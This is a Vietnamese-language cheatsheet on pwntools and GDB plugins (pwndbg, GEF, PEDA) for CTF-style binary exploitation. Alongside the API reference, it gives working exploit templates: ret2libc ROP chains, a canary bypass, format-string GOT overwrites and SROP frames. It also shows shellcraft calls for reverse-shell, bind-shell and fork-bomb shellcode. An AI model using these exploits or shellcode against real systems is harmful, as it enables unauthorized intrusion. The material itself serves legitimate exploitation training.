Pwntools & GDB Cheatsheet
Pwntools & GDB Cheatsheet¤
Mục lục nhanh¤
pwntools → Tubes · Context · ELF · Pack/Unpack · Shellcraft · ROP · SROP · FmtStr · Cyclic · Utils
GDB plugins → pwndbg · GEF · PEDA
pwn CLI → checksec · cyclic · asm · disasm · shellcraft · template
Phần 1 — Pwntools¤
1.1 Cài đặt & Import¤
from pwn import *nạp toàn bộ namespace:ELF,ROP,process,remote,asm,shellcraft,context,pack,p64,u64, v.v.
1.2 Context — Cấu hình toàn cục¤
context là object global, nhiều hàm pwntools phụ thuộc vào nó để biết kiến trúc, endianness, bit-width.
# Cách đơn giản nhất: để pwntools tự đọc từ binary
exe = ELF("./vuln")
context.binary = exe # tự set arch, bits, endian, os
# Hoặc set thủ công
context.arch = 'amd64' # i386 | amd64 | arm | aarch64 | mips | mips64 | powerpc | sparc
context.bits = 64 # 32 | 64
context.endian = 'little' # little | big
context.os = 'linux' # linux | windows | freebsd | android
context.log_level = 'debug' # debug | info | warn | error (mặc định: info)
context.terminal = ['tmux', 'splitw', '-h'] # terminal để spawn GDB
context.timeout = 10 # timeout mặc định cho tube operations (giây)
Tại sao context quan trọng?
Ví dụ p64() vs p32() phụ thuộc vào context.bits. shellcraft.sh() sẽ generate shellcode đúng arch. asm() sẽ compile đúng ISA. Nếu bỏ qua context, payload sẽ sai kiến trúc.
1.3 Tubes — Giao tiếp với tiến trình¤
Tube là abstraction trung tâm của pwntools — mọi I/O đều thông qua tube object.
graph LR
A[Script Python] -->|send/recv| B[Tube]
B --> C[process\nLocal Binary]
B --> D[remote\nTCP/UDP]
B --> E[ssh.process\nRemote SSH]
B --> F[gdb.debug\nWith GDB]
Tạo tube¤
# Spawn process dưới GDB, dừng ở instruction đầu tiên
p = gdb.debug("./vuln")
# Kèm GDB script chạy ngay khi attach
p = gdb.debug("./vuln", gdbscript="b main\nc")
# Tắt ASLR
p = gdb.debug("./vuln", aslr=False)
# Attach GDB vào process đang chạy
p = process("./vuln")
gdb.attach(p)
# Attach với GDB script + sleep để kịp nhìn
gdb.attach(p, gdbscript="b *0x401234\nc")
# Trick phổ biến: chỉ attach khi pass flag GDB
# python3 exploit.py GDB
if args.GDB:
gdb.attach(p, gdbscript="b main")
pause() # hoặc sleep(2)
Nhận dữ liệu (recv)¤
| Hàm | Hành vi |
|---|---|
p.recv(n=4096) |
Đọc tối đa n bytes, trả về ngay nếu có data |
p.recvn(n) |
Đọc đúng n bytes, block cho đủ |
p.recvline() |
Đọc đến \n (bao gồm \n) |
p.recvline(keepends=False) |
Đọc đến \n, bỏ \n |
p.recvlines(k) |
Đọc k dòng, trả về list |
p.recvuntil(b"marker") |
Đọc cho đến khi gặp marker (bao gồm marker) |
p.recvuntil(b"marker", drop=True) |
Đọc đến marker, bỏ marker khỏi kết quả |
p.recvall() |
Đọc đến EOF |
p.clean(timeout=0.3) |
Flush buffer với timeout ngắn |
p.stream() |
In mọi data nhận được, block đến EOF |
# Ví dụ thực tế: leak địa chỉ
p.recvuntil(b"Address: ")
leak = int(p.recvline().strip(), 16)
# Đọc rồi unpack thành integer
data = p.recvn(8)
addr = u64(data)
Gửi dữ liệu (send)¤
| Hàm | Hành vi |
|---|---|
p.send(data) |
Gửi raw bytes |
p.sendline(data) |
Gửi bytes + \n |
p.sendafter(delim, data) |
recvuntil(delim) rồi send(data) |
p.sendlineafter(delim, data) |
recvuntil(delim) rồi sendline(data) |
Interactive¤
Dùng sau khi đã khai thác thành công để tương tác với shell.
1.4 ELF — Phân tích binary¤
Thuộc tính cơ bản¤
exe.path # đường dẫn file
exe.arch # 'amd64', 'i386', ...
exe.bits # 32 hoặc 64
exe.endian # 'little' hoặc 'big'
exe.address # base address (0 nếu PIE bật hoặc chưa biết)
exe.pie # True/False
exe.nx # True/False (NX / DEP)
exe.canary # True/False
exe.relro # 'No RELRO' | 'Partial RELRO' | 'Full RELRO'
Symbols, GOT, PLT¤
exe.symbols['win'] # địa chỉ hàm/biến tên 'win'
exe.sym['win'] # alias ngắn hơn
exe.plt['puts'] # địa chỉ PLT stub của puts
exe.plt.puts # cú pháp attribute (tương đương)
exe.got['puts'] # địa chỉ entry GOT của puts (trỏ đến địa chỉ thực của puts)
exe.got.puts # tương đương
PLT vs GOT — tóm tắt nhanh
- GOT (Global Offset Table): bảng chứa địa chỉ thực của hàm libc sau khi resolve lần đầu.
- PLT (Procedure Linkage Table): stub nhỏ, lần đầu gọi → trigger dynamic linker, lần sau → jump thẳng qua GOT.
- Khi leak: đọc
exe.got['puts']để lấy địa chỉ runtime củaputstrong libc. - Khi overwrite: ghi đè
exe.got['puts']để redirect call.
Tìm kiếm trong binary¤
list(exe.search(b"/bin/sh")) # tìm string trong binary
list(exe.search(b"/bin/sh\0")) # tìm với null terminator
next(libc.search(b"/bin/sh\0")) # lấy địa chỉ đầu tiên
exe.read(exe.address, 4) # đọc 4 bytes tại địa chỉ
exe.write(addr, b"\x90\x90") # patch binary trong memory
PIE & ASLR — Set base address¤
# Nếu PIE bật, exe.address = 0 ban đầu
# Sau khi leak được địa chỉ runtime:
leaked_main = 0x55fXXXXXXXX
exe.address = leaked_main - exe.sym['main']
# Bây giờ tất cả exe.sym[], exe.got[], exe.plt[] đều offset đúng
# Tương tự với libc
libc.address = leaked_puts - libc.sym['puts']
Tạo ELF từ assembly (debug nhanh)¤
shellcode = '''
mov rax, 59
lea rdi, [rip+bin_sh]
xor rsi, rsi
xor rdx, rdx
syscall
bin_sh: .string "/bin/sh"
'''
elf = ELF.from_assembly(shellcode, arch='amd64')
p = process(elf.path)
1.5 Packing & Unpacking¤
Chuyển đổi integer ↔ bytes theo endianness.
# Pack: int → bytes
p8(0x41) # b'A'
p16(0x4142) # b'BA' (little-endian)
p32(0xdeadbeef) # b'\xef\xbe\xad\xde'
p64(0xdeadbeefcafebabe) # 8 bytes little-endian
# Unpack: bytes → int
u8(b'\x41')
u16(b'\x42\x41')
u32(b'\xef\xbe\xad\xde') # 0xdeadbeef
u64(b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')
# Unpack có sign
u32(b'\xff\xff\xff\xff', signed=True) # -1
1.6 Assembly & Shellcraft¤
asm() / disasm()¤
# Compile assembly → bytes
asm("nop") # b'\x90'
asm("mov rax, 0x3b; syscall") # theo context.arch
asm("push 0x41; pop eax", arch='i386') # override arch
# Decompile bytes → assembly string
disasm(b'\x90') # ' 0: 90 nop'
disasm(b'\x48\x31\xc0', arch='amd64')
shellcraft — Thư viện shellcode template¤
# shellcraft tự động chọn arch từ context
# Luôn cần wrap bằng asm() để convert thành bytes
# === Linux shells ===
shellcraft.sh() # execve /bin/sh
shellcraft.execve('/bin/sh', 0, 0) # execve raw
shellcraft.cat('/flag.txt') # đọc file
shellcraft.echo("hello") # in string
# === Networking ===
shellcraft.bindsh(4444, 'ipv4') # bind shell port 4444
shellcraft.connect("10.0.0.1", 4444) # connect ngược
shellcraft.connect("10.0.0.1", 4444) + shellcraft.dupsh() # reverse shell
# === Syscalls ===
shellcraft.syscall('SYS_execve', 1, 'rsp', 2, 0) # raw syscall
shellcraft.read(0, 'rsp', 100) # read(stdin, rsp, 100)
shellcraft.write(1, 'rsp', 100) # write(stdout, rsp, 100)
# === Misc ===
shellcraft.egghunter("EGGG") # egghunter cho egg "EGGG"
shellcraft.forkbomb() # fork bomb
shellcraft.exit(0)
# === Windows ===
shellcraft.cmd() # spawn cmd.exe
shellcraft.winexec("calc.exe")
# === Chỉ định arch cụ thể (không cần set context) ===
shellcraft.amd64.linux.sh()
shellcraft.i386.linux.sh()
shellcraft.aarch64.linux.sh()
shellcraft.arm.linux.sh()
# === Sử dụng ===
payload = asm(shellcraft.sh())
payload = bytes(asm(shellcraft.sh())) # cast về bytes nếu cần
Lưu ý NOP sled
Khi bruteforce ASLR với shellcode, thêm NOP sled trước shellcode để tăng xác suất hit:
Shellcode Encoding — tránh bad bytes¤
from pwnlib.encoders.encoder import encode
shellcode = asm(shellcraft.sh())
bad_chars = b'\x00\x0a\x0d'
# Pwntools thử tự encode shellcode tránh bad bytes
encoded = encode(shellcode, bad_chars)
1.7 ROP — Return Oriented Programming¤
graph LR
A[Stack overflow] --> B[Overwrite return addr]
B --> C[ROP Chain]
C --> D[Gadget 1\npop rdi; ret]
D --> E[Gadget 2\npop rsi; ret]
E --> F[system\n/bin/sh]
Khởi tạo ROP object¤
exe = ELF("./vuln")
libc = ELF("./libc.so.6")
rop = ROP(exe) # chỉ tìm gadget trong exe
rop = ROP([exe, libc]) # tìm gadget trong cả hai
# Tránh bad characters trong địa chỉ gadget
rop = ROP([exe, libc], badchars=b'\x00\x0a')
Tìm gadget¤
# Tìm gadget cụ thể
rop.find_gadget(['pop rdi', 'ret']) # Gadget object hoặc None
rop.find_gadget(['pop rdi', 'ret'])[0] # lấy địa chỉ
# Magic property: tự tìm gadget pop <reg>; ret
rop.rdi # Gadget(addr, ['pop rdi', 'ret'], ...)
rop.rsi # Gadget cho rsi
rop.rax
hex(rop.rdi.address) # địa chỉ hex
# Liệt kê tất cả gadget
for addr, gadget in rop.gadgets.items():
print(gadget)
Build ROP chain¤
# Pwntools tự build gadget chain để call hàm với args
rop.call(exe.sym['win'], [arg1, arg2])
rop.call(libc.sym['system'], [bin_sh])
# Hoặc dùng magic call syntax
bin_sh = next(libc.search(b'/bin/sh\0'))
rop.system(bin_sh) # = rop.call(libc.sym['system'], [bin_sh])
rop.execve(bin_sh, 0, 0)
rop.setreuid(0, 0)
Full ROP exploit pattern¤
from pwn import *
exe = ELF("./vuln")
libc = ELF("./libc.so.6")
context.binary = exe
p = process(exe.path)
# ── Bước 1: Leak địa chỉ libc ──────────────────────────────
rop1 = ROP(exe)
rop1.puts(exe.got['puts']) # puts(got['puts']) → leak địa chỉ puts trong libc
rop1.raw(exe.sym['main']) # quay về main để exploit lần 2
padding = b"A" * 40 + b"B" * 8 # overflow đến saved RIP
p.sendlineafter(b"> ", padding + rop1.chain())
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")
# ── Bước 2: ret2libc ───────────────────────────────────────
bin_sh = next(libc.search(b'/bin/sh\0'))
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0]) # stack alignment (x86_64)
rop2.system(bin_sh)
p.sendlineafter(b"> ", padding + rop2.chain())
p.interactive()
1.8 SROP — Sigreturn Oriented Programming¤
Dùng khi không có đủ gadget nhưng có thể trigger sigreturn syscall để set toàn bộ register.
# Yêu cầu: kiểm soát được stack + gadget: syscall; ret + pop rax; ret (hoặc mov rax, 15)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = bin_sh_addr # pointer tới "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xdeadbeef # stack pointer sau sigreturn
frame.rip = syscall_addr # địa chỉ instruction syscall
payload = padding + p64(pop_rax) + p64(15) # SYS_rt_sigreturn = 15
payload += p64(syscall_addr) + bytes(frame)
1.9 Format String Exploitation¤
FmtStr helper¤
# Pwntools tự tìm offset của format string trên stack
def send_payload(payload):
with process("./vuln") as p:
p.sendline(payload)
return p.recvall()
fmt = FmtStr(send_payload)
print(fmt.offset) # offset index trên stack
# Tạo payload ghi đè địa chỉ
# Ghi đè got['printf'] bằng system_addr
fmt.write(exe.got['printf'], system_addr)
payload = fmt.payload
p.sendline(payload)
fmtstr_payload() — tự động¤
# writes: dict {địa_chỉ: giá_trị}
payload = fmtstr_payload(
offset=6, # offset của input trên stack
writes={exe.got['printf']: system_addr},
numbwritten=0, # bytes đã in trước đó
write_size='byte' # 'byte' | 'short' | 'int'
)
p.sendline(payload)
fmtstr_split() — tách format + địa chỉ¤
# Hữu ích khi format string buffer bị giới hạn kích thước
fmt_str, locations = fmtstr_split(
offset=8,
writes={target_addr: value},
)
payload = fmt_str + b"A" * padding + locations
1.10 Cyclic Pattern — Tìm offset¤
Dùng De Bruijn sequence để tìm offset chính xác mà không cần đếm tay.
# Tạo pattern
pattern = cyclic(200) # 200 bytes
cyclic(200, n=8) # n=8 cho 64-bit (dùng 8-byte chunks thay vì 4)
# Tìm offset từ giá trị bị overwrite (lấy từ crash)
cyclic_find(0x61616164) # → 12 (32-bit, little-endian)
cyclic_find(b'aaad') # → 12 (cùng kết quả)
cyclic_find(0x6161616161616162, n=8) # → 8 (64-bit)
# Ví dụ workflow:
# 1. Gửi cyclic(200) vào chương trình
# 2. Chương trình crash, GDB cho thấy RIP = 0x6161616f
# 3. offset = cyclic_find(0x6161616f) → padding size
1.11 DynELF — Leak libc không có file¤
Khi không có libc.so.6 nhưng có thể leak bộ nhớ tùy ý.
def leak(addr):
p.sendline(build_leak_payload(addr))
data = p.recvn(8)
return data
d = DynELF(leak, exe)
system_addr = d.lookup('system', 'libc')
1.12 LibcDB — Tìm libc từ leak¤
# Tìm libc version từ địa chỉ leak
from pwnlib.libcdb import search_by_symbol_offsets
candidates = search_by_symbol_offsets(
{'puts': leaked_puts, 'printf': leaked_printf},
base_addr=0
)
Ngoài ra dùng website: libc.rip hoặc libc.blukat.me — paste địa chỉ leak, tìm offset.
1.13 Utility Functions¤
# ── Encoding ───────────────────────────────────────────────
enhex(b'\xde\xad') # → 'dead' (bytes → hex string)
unhex('dead') # → b'\xde\xad'
b64e(b'hello') # base64 encode
b64d('aGVsbG8=') # base64 decode
xor(b'AAAA', b'\x01') # XOR bytes
xor(b'data', 0x41) # XOR với 1 byte key
# ── Hexdump ────────────────────────────────────────────────
print(hexdump(b'\xde\xad\xbe\xef' * 4))
# 00000000 de ad be ef de ad be ef de ad be ef de ad be ef │....│....│....│....│
# ── Số học ─────────────────────────────────────────────────
log.info(hex(0xdeadbeef)) # pwntools logging
log.success("Got shell!")
log.warning("ASLR enabled")
log.debug(f"leak = {hex(leak)}")
# ── Misc ────────────────────────────────────────────────────
pause() # dừng script cho đến khi nhấn Enter (debug)
sleep(1) # đã được pwntools import sẵn
# ── args ────────────────────────────────────────────────────
# python3 exploit.py GDB REMOTE
args.GDB # True nếu 'GDB' trong argv
args.REMOTE # True nếu 'REMOTE' trong argv
args.get('HOST', 'localhost')
1.14 pwn CLI — Command Line Tools¤
pwn -h
# Subcommands: asm checksec constgrep cyclic debug disasm disablenx
# elfdiff elfpatch errno hex phd pwnstrip scramble
# shellcraft template unhex update version
1.15 Exploit Templates phổ biến¤
from pwn import *
exe = ELF("./vuln")
libc = ELF("./libc.so.6")
context.binary = exe
p = process(exe.path)
offset = 40
# Stage 1: Leak
rop = ROP(exe)
rop.puts(exe.got['puts'])
rop.raw(exe.sym['main'])
p.sendlineafter(b"> ", b"A" * offset + b"B" * 8 + rop.chain())
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")
# Stage 2: shell
bin_sh = next(libc.search(b'/bin/sh\0'))
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0]) # alignment
rop2.system(bin_sh)
p.sendlineafter(b"> ", b"A" * offset + b"B" * 8 + rop2.chain())
p.interactive()
from pwn import *
exe = ELF("./vuln")
context.binary = exe
p = process(exe.path)
# Overflow đến 1 byte trước canary, canary bắt đầu bằng \x00
p.sendline(b"A" * (canary_offset)) # điền đến vị trí canary
p.recvuntil(b"A" * canary_offset)
# Read 7 bytes (canary trừ null byte đầu)
canary = b"\x00" + p.recv(7)
canary_val = u64(canary)
log.success(f"Canary: {hex(canary_val)}")
# Build payload với canary đúng
payload = b"A" * canary_offset
payload += p64(canary_val) # canary
payload += b"B" * 8 # saved rbp
payload += p64(win_addr) # return addr
p.sendline(payload)
p.interactive()
from pwn import *
exe = ELF("./vuln")
context.binary = exe
p = process(exe.path)
# Tìm offset
def send_fmt(payload):
with process(exe.path) as tmp:
tmp.sendline(payload)
return tmp.recvall()
fmt = FmtStr(send_fmt)
offset = fmt.offset
# Ghi đè got['printf'] thành system_addr
system_addr = exe.sym['system'] # hoặc libc leak
writes = {exe.got['printf']: system_addr}
payload = fmtstr_payload(offset, writes)
p.sendline(payload)
# Lần sau khi binary gọi printf("%s", user_input) với input="/bin/sh"
# → thực ra gọi system("/bin/sh")
p.sendline(b"/bin/sh")
p.interactive()
Phần 2 — GDB & Plugins¤
2.1 Plugin Overview¤
graph TD
GDB[Vanilla GDB] --> P[pwndbg\n⭐ Phổ biến nhất CTF]
GDB --> G[GEF\nMulti-arch mạnh]
GDB --> D[PEDA\nPattern & ASLR tools]
| pwndbg | GEF | PEDA | |
|---|---|---|---|
| CTF phổ biến | ⭐⭐⭐ | ⭐⭐ | ⭐ |
| Multi-arch (ARM/MIPS) | Tốt | Rất tốt | Yếu |
| UI context | Đẹp | Đẹp | Đơn giản |
| Heap analysis | Rất tốt | Tốt | Cơ bản |
| Maintained | Đang active | Đang active | Ít update |
Cài đặt¤
2.2 GDB — Lệnh cơ bản¤
Chạy và điều hướng¤
gdb ./binary # mở binary
gdb -ex "run" ./binary # mở và chạy luôn
gdb --pid 1234 # attach vào process đang chạy
gdb -ex "set follow-fork-mode child" ./binary
(gdb) run # chạy chương trình
(gdb) run arg1 arg2 # chạy với arguments
(gdb) run < input.txt # redirect stdin
(gdb) starti # chạy, dừng ở instruction đầu tiên (pwndbg)
(gdb) start # chạy, dừng ở main()
(gdb) continue # c # tiếp tục chạy
(gdb) quit # q
Breakpoints¤
(gdb) break main # breakpoint tại hàm main
(gdb) break *0x401234 # breakpoint tại địa chỉ cụ thể
(gdb) break *main+84 # offset trong hàm
(gdb) break vuln.c:42 # dòng file source
(gdb) info breakpoints # liệt kê breakpoints
(gdb) delete 1 # xóa breakpoint #1
(gdb) delete # xóa tất cả
(gdb) disable 2 # tắt breakpoint #2
(gdb) enable 2 # bật lại
# Watchpoint (dừng khi biến thay đổi)
(gdb) watch *0x403010 # dừng khi giá trị tại 0x403010 thay đổi
(gdb) rwatch *0x403010 # dừng khi đọc
(gdb) awatch *0x403010 # dừng khi đọc hoặc ghi
Step execution¤
(gdb) next # n — chạy 1 dòng C, không đi vào function
(gdb) step # s — chạy 1 dòng C, đi vào function
(gdb) nexti # ni — chạy 1 instruction assembly, không đi vào call
(gdb) stepi # si — chạy 1 instruction assembly, đi vào call
(gdb) finish — chạy đến hết function hiện tại
(gdb) until 0x401234 — chạy đến địa chỉ cụ thể
(gdb) jump *0x401234 — nhảy đến địa chỉ (không call, chỉ set RIP)
Inspect memory & registers¤
# Xem registers
(gdb) info registers # tất cả registers
(gdb) info registers rip rsp rbp rax # registers cụ thể
(gdb) p $rip # print register
(gdb) p $rax
(gdb) p/x $rax # in hex
# Examine memory: x/[count][format][size] addr
# format: x=hex, d=decimal, u=unsigned, s=string, i=instruction, c=char
# size: b=byte(1), h=halfword(2), w=word(4), g=giant(8)
(gdb) x/8gx $rsp # 8 giá trị 8-byte hex tại RSP (stack)
(gdb) x/20wx 0x404000 # 20 words hex
(gdb) x/s 0x404010 # string tại địa chỉ
(gdb) x/10i $rip # 10 instructions từ RIP
(gdb) x/i $rip # instruction hiện tại
# Disassemble
(gdb) disassemble main # disassemble hàm main
(gdb) disassemble 0x401234 # disassemble tại địa chỉ
(gdb) set disassembly-flavor intel # dùng Intel syntax (khuyên dùng)
# Print expressions
(gdb) p system # địa chỉ của system()
(gdb) p &variable # địa chỉ biến
(gdb) p (int*)0x404010 # cast và in
(gdb) p/x 0x100 + 0x20
Modify memory & registers¤
(gdb) set $rax = 0xdeadbeef # set giá trị register
(gdb) set $rip = 0x401234 # redirect execution
(gdb) set {int}0x404010 = 0xdeadbeef # ghi 4 bytes vào địa chỉ
(gdb) set {long long}$rsp = 0x414141 # ghi 8 bytes
Backtrace & Stack¤
(gdb) backtrace # bt — call stack
(gdb) backtrace full # call stack + local variables
(gdb) info frame # info về stack frame hiện tại
(gdb) info locals # local variables
(gdb) info args # function arguments
(gdb) frame 2 # chuyển sang frame #2
Tìm kiếm trong memory¤
(gdb) find 0x7fff0000, 0x7fffffff, "AAAA" # tìm string
(gdb) find 0x7fff0000, +0x1000, 0xdeadbeef # tìm 4-byte value
Misc¤
(gdb) shell ls -la # chạy shell command
(gdb) shell clear # clear terminal
(gdb) define hook-stop # chạy commands mỗi khi stop
> x/8gx $rsp
> end
(gdb) source script.gdb # load GDB script
2.3 pwndbg — Lệnh đặc biệt¤
pwndbg thêm context panel tự động (registers, stack, disasm, backtrace) mỗi khi dừng.
Navigation & Info¤
context # in lại context panel
context reg # chỉ registers
context stack # chỉ stack
context disasm # chỉ disassembly
regs # tất cả registers
stack # xem stack (mặc định 8 entries)
stack 20 # xem 20 stack entries
telescope $rsp 20 # dereference chain stack — rất hữu ích
telescope 0x404000 10
nearpc # instructions xung quanh RIP
nearpc 20 # 20 instructions
retaddr # tìm return address trên stack
Memory & Maps¤
vmmap # xem memory mappings (permissions, ranges)
vmmap libc # filter theo tên
heap # heap overview
bins # fastbins, smallbins, unsortedbin
chunks # liệt kê heap chunks
vis_heap_chunks # visualize heap chunks
arena # malloc arena info
search -s "AAAA" # tìm string trong tất cả segments
search -x "\xde\xad\xbe\xef" # tìm bytes
search -t qword 0x401234 # tìm 8-byte value
Checksec & Binary Info¤
checksec # bảo vệ của binary đang debug
elfheader # ELF header
got # Global Offset Table
plt # Procedure Linkage Table
symbols # symbols table
ROP & Gadgets¤
rop # tìm ROP gadgets trong binary
rop --grep "pop rdi" # filter gadget
ropper # dùng ropper (nếu cài)
cyclic 100 # tạo cyclic pattern
cyclic -l 0x61616164 # tìm offset
Exploit helpers¤
canary # giá trị stack canary hiện tại
aslr # trạng thái ASLR
procinfo # thông tin process (PID, exe, mappings)
# Lệnh GDB bình thường vẫn hoạt động đầy đủ
2.4 GEF — Lệnh đặc biệt¤
gef config # xem/đặt cấu hình GEF
gef help # help
# Memory
vmmap # memory maps
heap # heap info
heap chunks # liệt kê chunks
heap bins # bin info
memory watch 0x404010 10 qword # monitor vùng nhớ
# Search
search-pattern "AAAA" # tìm pattern
search-pattern "\x41\x41"
# ASLR
aslr # toggle ASLR
set-permission 0x404000 # set permissions cho page (cần root)
# Thông tin
checksec # bảo vệ binary
entry-break # break tại entry point
got # GOT table
2.5 PEDA — Lệnh đặc biệt¤
# PEDA nổi bật về cyclic pattern và ASLR brute
pattern create 200 # tạo pattern
pattern offset 0x41414641 # tìm offset
aslr on/off # toggle ASLR
checksec # bảo vệ
searchmem "AAAA" # tìm trong memory
find /bin/sh # tìm string /bin/sh trong memory
dumprop # dump tất cả ROP gadgets
asmsearch "pop rdi" # tìm assembly pattern
# Gợi ý exploit
suggest # gợi ý cách khai thác dựa trên crash
2.6 GDB Script — Tự động hóa¤
Tạo file .gdbinit hoặc script.gdb để tự động chạy lệnh:
# exploit.gdb
set disassembly-flavor intel
set pagination off
b *main+100
commands 1
silent
x/8gx $rsp
continue
end
run <<< $(python3 -c "print('A'*40)")
gdb -x exploit.gdb ./vuln
# hoặc trong pwntools:
gdb.debug('./vuln', gdbscript=open('exploit.gdb').read())
2.7 Workflow tích hợp pwntools + GDB¤
sequenceDiagram
participant S as Script Python
participant P as process()
participant G as GDB (pwndbg)
S->>P: process("./vuln")
S->>G: gdb.attach(p, "b *main+50")
S->>P: p.sendline(cyclic(200))
P-->>G: SIGSEGV — dừng tại crash
G-->>S: Đọc giá trị RIP/RSP
S->>S: cyclic_find(rip_value)
S->>P: Gửi payload thật
P-->>S: Shell!
from pwn import *
exe = ELF("./vuln")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h'] # hoặc ['xterm', '-e']
p = process(exe.path)
# Bước 1: tìm offset bằng cyclic
if args.OFFSET:
gdb.attach(p)
p.sendline(cyclic(200))
p.wait() # chờ crash
# Đọc crash offset từ GDB: cyclic_find(...)
pause()
# Bước 2: exploit thật
offset = 40
payload = b"A" * offset + p64(exe.sym['win'])
p.sendlineafter(b"> ", payload)
if args.GDB:
gdb.attach(p, gdbscript=f"""
b *{hex(exe.sym['win'])}
continue
""")
pause()
p.interactive()
2.8 Một số tip nhanh¤
Stack alignment x86_64
Trước khi gọi hàm libc (như system), RSP phải align 16 bytes. Nếu bị crash tại movaps, thêm một ret gadget trước:
Tìm /bin/sh trong libc
one_gadget — one-shot shell
Debug từ xa qua SSH tunnel
Disable ASLR cho phiên debug
patchelf — đổi libc/ld cho binary CTF
Tóm tắt nhanh — Quick Reference¤
pwntools keywords¤
| Category | Keywords |
|---|---|
| Import | from pwn import * |
| Context | context.binary, context.arch, context.bits, context.log_level, context.terminal |
| Tube tạo | process(), remote(), ssh(), gdb.debug(), gdb.attach() |
| Tube recv | recv(), recvn(), recvline(), recvlines(), recvuntil(), recvall(), clean(), stream() |
| Tube send | send(), sendline(), sendafter(), sendlineafter() |
| Tube misc | interactive(), p.elf, pause() |
| ELF | ELF(), .sym[], .plt[], .got[], .address, .search(), .read(), .write(), .libc |
| Pack | p8/p16/p32/p64(), u8/u16/u32/u64(), pack(), unpack(), flat() |
| Encode | enhex(), unhex(), b64e(), b64d(), xor(), hexdump() |
| Asm | asm(), disasm() |
| Shellcraft | shellcraft.sh(), shellcraft.cat(), shellcraft.bindsh(), shellcraft.connect() + dupsh() |
| Cyclic | cyclic(), cyclic_find() |
| ROP | ROP(), .find_gadget(), .raw(), .call(), .chain(), .dump(), .rdi, .rsi, ... |
| SROP | SigreturnFrame(), constants.SYS_* |
| FmtStr | FmtStr(), fmtstr_payload(), fmtstr_split() |
| Logging | log.info(), log.success(), log.warning(), log.debug() |
| CLI | pwn checksec, pwn cyclic, pwn asm, pwn disasm, pwn shellcraft, pwn template |
GDB / pwndbg keywords¤
| Category | Lệnh |
|---|---|
| Run | run, starti, start, continue, quit |
| Break | break *addr, delete, disable, enable, watch |
| Step | ni, si, next, step, finish, until, jump |
| Memory | x/Nfz addr, set {type}addr = val |
| Registers | info registers, p $reg, set $reg = val |
| Stack | backtrace, info frame, info locals |
| pwndbg extra | telescope, vmmap, heap, bins, got, plt, checksec, search, cyclic, canary, rop |
| GEF extra | vmmap, heap chunks, heap bins, search-pattern, aslr, got |
| PEDA extra | pattern create/offset, searchmem, dumprop, suggest |